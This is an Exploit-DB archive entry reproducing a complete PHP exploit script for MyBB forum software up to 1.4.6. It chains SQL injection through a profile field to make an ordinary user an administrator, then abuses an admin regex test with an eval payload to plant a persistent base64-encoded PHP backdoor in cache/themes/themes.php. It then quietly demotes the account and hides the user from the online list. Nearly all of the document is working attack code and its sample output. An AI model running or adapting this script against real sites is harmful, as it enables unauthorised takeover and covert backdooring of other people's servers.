MyBB <= 1.4.6 - Remote Code Execution Exploit

2009-06-22T00:00:00
ID EDB-ID:9001
Type exploitdb
Reporter The:Paradox
Modified 2009-06-22T00:00:00

Description

MyBB <= 1.4.6 Remote Code Execution Exploit. CVE-2009-2230. Webapps exploit for php platform

                                        
                                            &lt;?PHP
/*

Someone decided to contact mybb's staff informing about this vulnerability with the obvious result that this will not work anymore. 
Fucking moron.

I'm releasing a non-finished version of the exploit. No help, PoC and with the necessity of --admindir flag.
Going to update it in the next days.
For historical reason, i'm leaving the original title, but note that is &lt;= 1.4.6


Example:

paradox@d3b14n:~/Files/Exploit-Pocs/My_Exploit/Remote/Mybb$ php myBBtomilw0rm.php -u anybody -p qwerty -t http://localhost/web/mybb/Upload/ --admindir /admin/
[.] Initialing.
[+] Logged in.
[+] my_post_key variable found.
[+] Turned On mybb's invisible mode.
[+] Sql code injected. You're now admin.
[+] Admindir found (or --admindir is used): /admin/.
[+] Admin sid Found: 824e26b4221673a0f213c37f87b9ccd7
[+] Site correctly backdoored.
[+] Sql code injected. You're now user.
[+] Backdoor URI: http://localhost/web/mybb/Upload//cache/themes/themes.php
All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.
Have a nice day :P


For the curious people: http://mybboard.it/forum/thread-3623.html

*/

/*

Mybb &lt;= 1.4.4 Remote Code Execution through Sql Injection Exploit


Discovered: 	About 4 days before the exploit was coded.
Coded:		03-03-2009 
Author:		The:Paradox
Release:	Not yet. 

No php.ini setting can stop us ! =O 
A user (not email confirmed too) is needed.

Keep private or your keyboard will blew up.


*/


$mybb = new maibibi2;


class maibibi2 
{

	function __construct ()
	{



		$this-&gt;user	= $this-&gt;get_argv('-u');
		$this-&gt;pass	= $this-&gt;get_argv('-p');
		$this-&gt;target	= $this-&gt;get_argv('-t');
		$this-&gt;admindir	= $this-&gt;get_argv('--admindir');	
		$this-&gt;oa2u	= $this-&gt;get_argv('--onlyadmin2user');

		$this-&gt;ip	= '67.167.124.135';
		$this-&gt;ua	= 'Mozilla 5.0';
		$this-&gt;bckdr	= '/cache/themes/themes.php';

		if ($this-&gt;get_argv('--help') !== False || $this-&gt;get_argv('-h') !== False)	$this-&gt;help();
		if (!$this-&gt;user || !$this-&gt;pass)						die ("You have to insert User/Password\r\nUse --help or -h for more informations.\r\n");
		if (!$this-&gt;target)								die ("You have to insert Target\r\nUse --help or -h for more informations.\r\n");
			
		$this-&gt;http();
		$this-&gt;init();

			
	}

	function help ()
	{

		die ("Under Construction\r\n");

	}

	function get_argv ($what)
	{
		global $argv;

		if (!$n = array_search($what, $argv)) return False;
		return $argv[$n+1];	
	}

	function init ()
	{

		set_time_limit(0); // about 30 seconds left? Be serious.

		echo "[.] Initialing.\r\n";

			if (!$this-&gt;mybbuser = $this-&gt;ilovecookies ()) die ("Incorrect credentials.\r\n");

		echo "[+] Logged in.\r\n";

			if (!$this-&gt;mypostkey = $this-&gt;getmypostkey())  die ("My_Post_Key Not Found.\r\n");

		echo "[+] my_post_key variable found.\r\n";

			$this-&gt;hidemefromonlinelist();

		echo "[+] Turned On mybb's invisible mode.\r\n";

			$this-&gt;user2admin();

		echo "[+] Sql code injected. You're now admin.\r\n";

			if (!$this-&gt;admindir && !$this-&gt;admindir = $this-&gt;findadmindir()) die ("Unable to find admin Dir.\r\nWhatever it's possible your user is currently an administrator.\r\nIf you know admin dir path, you may use --admindir\r\n");

		echo "[+] Admindir found (or --admindir is used): {$this-&gt;admindir}.\r\n";		

			if (!$this-&gt;adminsid = $this-&gt;loginadmin())  die ("[-] Unable to login as admin.\r\nWhatever it's possible your user is currently an administrator.\r\n");
		
		echo "[+] Admin sid Found: {$this-&gt;adminsid}\r\n";		
			#$this-&gt;writabledirs();
			$this-&gt;rce ();		
			if (!$this-&gt;checkrce ()) die ("Unable to Execute PHP Code.\r\nWhatever it's possible your user is currently an administrator.\r\n");

		echo "[+] Site correctly backdoored.\r\n";

			$this-&gt;admin2user();

		echo "[+] Sql code injected. You're now user.\r\n";
		echo "[+] Backdoor URI: {$this-&gt;target}{$this-&gt;bckdr}\r\n";
		echo "All Done. The:Paradox hopes you used this exploit exclusively for your own fun and you enjoyed it.\r\nHave a nice day :P\r\n\r\n";

	}	

	function ilovecookies ()
	{
		$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'User-Agent' =&gt; $this-&gt;ua);
		$this-&gt;postdata = array ('username' =&gt; $this-&gt;user, 'password' =&gt; $this-&gt;pass, 'submit' =&gt; 'Login', 'action' =&gt; 'do_login');
		
		$rsp = $this-&gt;post ("{$this-&gt;target}/member.php");
		
		if (!preg_match_all ('~mybbuser=(.+?);~',$rsp,$res)) return False;

		return $res[1][0];
		

	}

	function getmypostkey ()
	{

		$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'User-Agent' =&gt; $this-&gt;ua, 'Referer' =&gt; "{$this-&gt;target}/member.php", 'Cookie' =&gt; "mybbuser={$this-&gt;mybbuser};");
		$rsp = $this-&gt;get ("{$this-&gt;target}/usercp.php?action=profile");

		if (!preg_match_all ('~name="my_post_key" value="(.+?)" /&gt;~',$rsp,$res)) return False;

		return $res[1][0];				

	}

	function hidemefromonlinelist()

	{
		$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'User-Agent' =&gt; $this-&gt;ua, 'Referer' =&gt; "{$this-&gt;target}/usercp.php?action=profile", 'Cookie' =&gt; "mybbuser={$this-&gt;mybbuser};");
		$this-&gt;postdata = array ('my_post_key' =&gt; $this-&gt;mypostkey, 'invisible' =&gt; '1', 'action' =&gt; 'do_options', 'regsubmit' =&gt; 'Update+Options');
		
		$rsp = $this-&gt;post ("{$this-&gt;target}/member.php");
		
	}

	function user2admin ()

	{

		$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'User-Agent' =&gt; $this-&gt;ua, 'Referer' =&gt; "{$this-&gt;target}/usercp.php?action=profile", 'Cookie' =&gt; "mybbuser={$this-&gt;mybbuser};");
		$this-&gt;postdata = array ('my_post_key'			 =&gt; $this-&gt;mypostkey, 
					'invisible'			=&gt; '1', 
					'bday1'				=&gt; '', 
					'bday2'				=&gt; '', 
					'bday3'				=&gt; '', 
					'website'			=&gt; 'http%3A%2F%2F', 
					'profile_fields%5Bfid3%5D'	=&gt; 'Undisclosed', 
					'profile_fields%5Bfid2%5D'	=&gt; 'Undisclosed',
					'profile_fields%5Bfid1%5D'	=&gt; 'Undisclosed', 
					'usertitle'			=&gt; '',
					'icq'				=&gt; '', 
					'aim'				=&gt; '', 
					'msn'				=&gt; '', 
					'yahoo'				=&gt; '', 
					'away'				=&gt; '0', 
					'awayreason'			=&gt; '', 
					'awayday'			=&gt; '', 
					'awaymonth'			=&gt; '',
					'awayyear'			=&gt; '',
					'birthdayprivacy'		=&gt; "all', usergroup=4, email='pr3sident@whit3house.gov',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",
					'action'			=&gt; 'do_profile', 
					'regsubmit'			=&gt; '1');

		$rsp = $this-&gt;post ("{$this-&gt;target}/usercp.php");

	}
	
	function findadmindir ()
	{

		$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'User-Agent' =&gt; $this-&gt;ua, 'Referer' =&gt; "{$this-&gt;target}/usercp.php?action=profile", 'Cookie' =&gt; "mybbuser={$this-&gt;mybbuser};");
		$rsp = $this-&gt;get("{$this-&gt;target}/index.php");


		if (!preg_match_all ("~&lt;!-- start: header_welcomeblock_member_admin --&gt;
 &mdash; &lt;a href=\"{$this-&gt;target}(.+?)/index.php\"&gt;~",$rsp,$res)) return False;

		return $res[1][0];				



	}

	function loginadmin ()

	{
		
		$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'User-Agent' =&gt; $this-&gt;ua, 'Referer' =&gt; "{$this-&gt;target}/usercp.php?action=profile", 'Cookie' =&gt; "mybbuser={$this-&gt;mybbuser};");
		$this-&gt;postdata = array ('username' =&gt; $this-&gt;user, 'password' =&gt; $this-&gt;pass, 'do' =&gt; 'login');

		$rsp = $this-&gt;post ("{$this-&gt;target}/{$this-&gt;admindir}/index.php");
		
		if (!preg_match_all ('~adminsid=(.+?);~',$rsp,$res)) return False;

		return $res[1][0];
	}

	function writabledirs ()
	{
		$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'User-Agent' =&gt; $this-&gt;ua, 'Referer' =&gt; "{$this-&gt;target}/{$this-&gt;admindir}/index.php?", 'Cookie' =&gt; "mybbuser={$this-&gt;mybbuser}; adminsid={$this-&gt;adminsid};");
		$this-&gt;get ("{$this-&gt;target}/{$this-&gt;admindir}/index.php?module=tools") ;


	}


	function rceOld ()

	{

	//edits inc/functions.php (original one)

	$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'User-Agent' =&gt; $this-&gt;ua, 'X-Requested-With' =&gt; 'XMLHttpRequest', 'Referer' =&gt; "{$this-&gt;target}/{$this-&gt;admindir}/index.php?module=config/mycode&action=edit&cid=1", 'Cookie' =&gt; "mybbuser={$this-&gt;mybbuser}; adminsid={$this-&gt;adminsid};");
	$this-&gt;postdata = array ('my_post_key'			 =&gt; $this-&gt;mypostkey, 
					'o_o'				=&gt; 'phpinfo();', 
					'regex'				=&gt; '(.*%3F)#e%00', 
					'replacement'			=&gt; 'die(eval(stripslashes($_REQUEST[\'o_o\'])));', 
					'test_value'			=&gt; 'XoD');

	$rsp = $this-&gt;post ("{$this-&gt;target}/{$this-&gt;admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");


	}

	function rce ()

	{

	$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'User-Agent' =&gt; $this-&gt;ua, 'X-Requested-With' =&gt; 'XMLHttpRequest', 'Referer' =&gt; "{$this-&gt;target}/{$this-&gt;admindir}/index.php?module=config/mycode&action=edit&cid=1", 'Cookie' =&gt; "mybbuser={$this-&gt;mybbuser}; adminsid={$this-&gt;adminsid};");
	$this-&gt;postdata = array ('my_post_key'			 =&gt; $this-&gt;mypostkey, 
					'o_o'				=&gt; 'JGZwID0gZm9wZW4oJF9SRVFVRVNUWydmaWxlJ10sICdhJyk7DQpmd3JpdGUoJGZwLCAnPD9QSFAgaWYgKGlzc2V0KCRfUkVRVUVTVFt4XSkpIGV2YWwoc3RyaXBzbGFzaGVzKCRfUkVRVUVTVFt4XSkpOyA/PicpOw0KZmNsb3NlKCRmcCk7', 
					'regex'				=&gt; '(.*%3F)#e%00', 
					'replacement'			=&gt; 'die(eval(base64_decode($_REQUEST[\'o_o\'])));', 
					'test_value'			=&gt; 'XoD',
					'file'				=&gt; "../{$this-&gt;bckdr}");

	$rsp = $this-&gt;post ("{$this-&gt;target}/{$this-&gt;admindir}/index.php?module=config/mycode&action=xmlhttp_test_mycode");


	}


	function admin2user ()
	
	{

		$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'User-Agent' =&gt; $this-&gt;ua, 'Referer' =&gt; "{$this-&gt;target}/usercp.php?action=profile", 'Cookie' =&gt; "mybbuser={$this-&gt;mybbuser};");
		$this-&gt;postdata = array ('my_post_key'			 =&gt; $this-&gt;mypostkey, 
					'invisible'			=&gt; '1', 
					'bday1'				=&gt; '', 
					'bday2'				=&gt; '', 
					'bday3'				=&gt; '', 
					'website'			=&gt; 'http%3A%2F%2F', 
					'profile_fields%5Bfid3%5D'	=&gt; 'Undisclosed', 
					'profile_fields%5Bfid2%5D'	=&gt; 'Undisclosed',
					'profile_fields%5Bfid1%5D'	=&gt; 'Undisclosed', 
					'usertitle'			=&gt; '',
					'icq'				=&gt; '', 
					'aim'				=&gt; '', 
					'msn'				=&gt; '', 
					'yahoo'				=&gt; '', 
					'away'				=&gt; '0', 
					'awayreason'			=&gt; '', 
					'awayday'			=&gt; '', 
					'awaymonth'			=&gt; '',
					'awayyear'			=&gt; '',
					'birthdayprivacy'		=&gt; "all', usergroup=2, email='pr3sident.whit3house@gmail.com',regip='79.140.81.83', longregip='1334595923', lastip='', longlastip='",
					'action'			=&gt; 'do_profile', 
					'regsubmit'			=&gt; '1');

		$rsp = $this-&gt;post ("{$this-&gt;target}/usercp.php");

	}

	function checkrce_old ()

	{
		$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'Cookie' =&gt; 'x=print \'.:31337:.\'%3B;');
		$rsp = $this-&gt;get ("{$this-&gt;target}/{$this-&gt;admindir}/inc/functions.php?");

		if (!strstr($rsp,'.:31337:.'))	return False;
		else				return True;

	}

	function checkrce ()

	{
		$this-&gt;header = array ('client-ip' =&gt; $this-&gt;ip ,'Cookie' =&gt; 'x=print \'.:31337:.\'%3B;');
		$rsp = $this-&gt;get ("{$this-&gt;target}/{$this-&gt;bckdr}");

		if (!strstr($rsp,'.:31337:.'))	return False;
		else				return True;

	}


	function http ($port = 80, $header = array(), $post = array(), $timeout = 30)
	{

		$this-&gt;port	= $port;
		$this-&gt;timeout	= $timeout;
		$this-&gt;header	= $header;
		$this-&gt;postdata	= $post;
	}

	function get ($url)
	{
		$this-&gt;url = parse_url($url);
		$this-&gt;packet = array();

		$this-&gt;packet[] = "GET {$this-&gt;url['path']}?{$this-&gt;url['query']}{$this-&gt;url['fragment']} HTTP/1.1";
		$this-&gt;packet[] = "Host: {$this-&gt;url['host']}";

		foreach ($this-&gt;header as $header =&gt; $value)
		{
			$this-&gt;packet[] = "$header: $value";
		}
		
		$this-&gt;packet[] = "\r\n\r\n"; 
		$this-&gt;packet	= implode ("\r\n",$this-&gt;packet);

		return $this-&gt;conn();
	}

	function post ($url)
	{
		$this-&gt;url = parse_url($url);

		$this-&gt;packet = array();
		$this-&gt;postcontent = '';

		$this-&gt;packet[] = "POST {$this-&gt;url['path']}?{$this-&gt;url['query']}{$this-&gt;url['fragment']} HTTP/1.1";
		$this-&gt;packet[] = "Host: {$this-&gt;url['host']}";

		foreach ($this-&gt;header as $header =&gt; $value)
		{
			$this-&gt;packet[] = "$header: $value";
		}
	
		foreach ($this-&gt;postdata as $post =&gt; $value)
		{
			if ($this-&gt;postcontent != '') $this-&gt;postcontent .= '&'; 
			$this-&gt;postcontent .= "$post=$value";
		}
	
		$this-&gt;packet[] = 'Content-Type: application/x-www-form-urlencoded';
		$this-&gt;packet[] = "Content-Length: ".strlen($this-&gt;postcontent)."\r\n";
		$this-&gt;packet[] = $this-&gt;postcontent;

		$this-&gt;packet	= implode ("\r\n",$this-&gt;packet);

		return $this-&gt;conn();
	}


	function conn()
	{
		if (!isset($this-&gt;url['port']))	$this-&gt;url['port'] = $this-&gt;port;

		$sk = fsockopen ($this-&gt;url['host'], $this-&gt;url['port'], $eno, $estr, $this-&gt;timeout);

		if (!is_resource($sk))	return "[-] Fsockopen Failed! Error: ".$estr." [".$eno."]" ;

		else	{

    				fputs($sk, $this-&gt;packet);
				$rsp = "";
				
				while (!feof($sk)) 
					{
	       					$rsp .= fgets ($sk, 1024);
					}
			}

		fclose($sk);
		return $rsp;
	}



}




?&gt;

# milw0rm.com [2009-06-22]